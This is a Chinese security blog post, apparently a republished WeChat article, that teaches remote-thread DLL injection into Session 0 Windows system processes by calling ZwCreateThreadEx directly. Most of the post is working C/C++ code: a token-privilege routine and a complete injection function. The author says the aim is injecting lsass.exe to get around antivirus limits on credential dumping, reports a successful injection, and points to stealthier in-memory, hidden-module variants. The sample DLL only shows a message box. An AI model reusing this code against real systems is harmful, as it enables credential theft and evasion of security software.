首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >远程线程注入Dll,突破Session 0

远程线程注入Dll,突破Session 0

作者头像
HACK学习
发布2021-05-14 15:16:23
发布2021-05-14 15:16:23
1.5K0
举报
文章被收录于专栏:HACK学习HACK学习

前言

其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可以通过注入lsass,就想试试注入lsass

代码语言:javascript
复制
看大佬的博客真的可以学到很多东西

编译环境

代码语言:javascript
复制
Win10 VS2019

什么是session 0

在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上。 这样做危险的地方是,用户使用的应用程序可能会利用Windows的服务程序提升自己的权限。

后续版本的windows,普通应用程序已经不再session 0中运行

思路

由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们调用的是更为底层的ZwCreateThreadEx来创建线程,

虽然CreateRemoteThread 函数到底层也是调用ZwCreateThreadEx,但在调用ZwCreateThreadEx时 ,ZwCreateThreadEx的第7个参数 CreateSuspended(CreateThreadFlags)的值始终为1,它会导致线程创建完成后一直挂起无法恢复运行,于是我们选择直接调用ZwCreateThreadEx,将第7个参数直接置为0,这样可达到注入目的

实现过程

先创建一个dll

代码语言:javascript
复制
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, L"远程线程注入成功!", L"提示", NULL);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这里有一个坑:如果要注入系统进程的话,创建的dll一定要是64位的,这与当前的操作系统有关,后面编译exe的时候也一定要是64位的,这个更当前exe多少位有关

这是我的操作系统版本

编写程序

提升当前进程的权限

代码语言:javascript
复制
 BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
 {
     HANDLE hToken = NULL;
     LUID luidValue = { 0 };
     TOKEN_PRIVILEGES tokenPrivileges = { 0 };
     BOOL bRet = FALSE;
     DWORD dwRet = 0;
     // 打开进程令牌并获取进程令牌句柄
     bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
     if (FALSE == bRet)
     {
         printf("OpenProcessToken");
         return FALSE;
     }
     // 获取本地系统的 pszPrivilegesName 特权的LUID值
     bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
     if (FALSE == bRet)
     {
           printf("LookupPrivilegeValue");
         return FALSE;
     }
     // 设置提升权限信息
     tokenPrivileges.PrivilegeCount = 1;
     tokenPrivileges.Privileges[0].Luid = luidValue;
     tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     // 提升进程令牌访问权限
     bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
     if (FALSE == bRet)
     {
         printf("AdjustTokenPrivileges");
         return FALSE;
     }
     else
     {
         // 根据错误码判断是否特权都设置成功
         dwRet = ::GetLastError();
         if (ERROR_SUCCESS == dwRet)
         {
             return TRUE;
         }
         else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
         {
             printf("ERROR_NOT_ALL_ASSIGNED");
             return FALSE;
         }
     }
     return FALSE;
 }

这里参考了 https://www.write-bug.com/article/2012.html

这个师傅对函数中三个API都有介绍

ZwCreateThreadEx

ZwCreateThreadEx 在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。

在64位和32位中,函数定义还不一样

64位中

代码语言:javascript
复制
DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         ULONG CreateThreadFlags,
         SIZE_T ZeroBits,
         SIZE_T StackSize,
         SIZE_T MaximumStackSize,
         LPVOID pUnkown);

32位中

代码语言:javascript
复制
 DWORD WINAPI ZwCreateThreadEx(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         BOOL CreateSuspended,
         DWORD dwStackSize,
         DWORD dw1,
         DWORD dw2,
         LPVOID pUnkown);

大体思路更之前dll注入差不多,知识更改CreateRemoteThread 为ZwCreateThreadEx

核心代码

代码语言:javascript
复制
 DWORD _InjectSysThread(DWORD _Pid, LPCWSTR psDllFillName)
 {
     //打开进程
     HANDLE hprocess;
     HANDLE hThread;
     DWORD _SIZE = 0;
     LPVOID pAlloc = NULL;
     DWORD psDllAddr = 0;
     FARPROC pThreadFunction;
     DWORD ZwRet = 0;
     hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
     //在注入进程中写入Loadlibrary名称
     _SIZE = (_tcslen(psDllFillName) + 1) * sizeof(TCHAR);
     pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
     if (pAlloc == NULL)
     {
         printf("VirtualAllocExERROR");
         return FALSE;
     }
     BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllFillName, _SIZE, NULL);
     if (FALSE == x)
     {
         printf("WriteProcessMemoryERROR");
         return FALSE;
     }

     HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
     if (hNtdll == NULL)
     {
         printf("LoadLibraryERROR");
         return FALSE;
     }

     pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

 #ifdef _WIN64
     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         ULONG CreateThreadFlags,
         SIZE_T ZeroBits,
         SIZE_T StackSize,
         SIZE_T MaximumStackSize,
         LPVOID pUnkown
         );
 #else
     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
         PHANDLE ThreadHandle,
         ACCESS_MASK DesiredAccess,
         LPVOID ObjectAttributes,
         HANDLE ProcessHandle,
         LPTHREAD_START_ROUTINE lpStartAddress,
         LPVOID lpParameter,
         BOOL CreateSuspended,
         DWORD dwStackSize,
         DWORD dw1,
         DWORD dw2,
         LPVOID pUnkown
         );
 #endif
     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
     ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

     if (ZwCreateThreadEx == NULL)
     {
         printf("ZwCreateThreadExERROR");
         return FALSE;
     }
     HANDLE hRemoteThread;
     ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
         (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);

     if (NULL == hRemoteThread)
     {
         printf("创建线程失败");
         CloseHandle(hprocess);
         return FALSE;
     }
     WaitForSingleObject(hRemoteThread, -1);
     VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
     CloseHandle(hRemoteThread);
     CloseHandle(hprocess);
     FreeLibrary(hNtdll);
     return TRUE;
 }

执行结果

这里我选择的是explorer.exe

注入lsass.exe ,只不过注入这类程序不会弹窗,但我们不需要弹窗嘛(滑稽)

记得使用Procexp的时候管理员运行,要不然系统进程模块看不到

但是像这种进程csrss.exe

遍历不出来,我看到网上有个师傅说这个进程好像需要更高的权限去访问,注入的话也需要其他操作,应该是牵扯到0环层面了,小弟对0环内核层并不熟悉,就写到这里,基本目标还是达成了

其实还可以内存写入,隐藏模块,更加隐蔽

如果提权运行报错的话,记得以管理员身份运行就好了

参考

代码语言:javascript
复制
https://www.write-bug.com/article/2013.html
https://idiotc4t.com/code-and-dll-process-injection/bypass-session-0-injection
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档